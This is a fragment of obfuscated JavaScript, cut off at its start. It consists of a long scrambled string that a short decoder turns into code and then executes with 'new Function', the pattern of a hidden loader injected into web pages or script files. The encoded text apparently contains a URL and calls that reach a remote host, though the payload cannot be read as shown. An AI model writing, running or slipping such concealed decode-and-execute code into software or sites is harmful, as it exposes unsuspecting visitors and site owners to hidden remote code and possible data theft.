280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();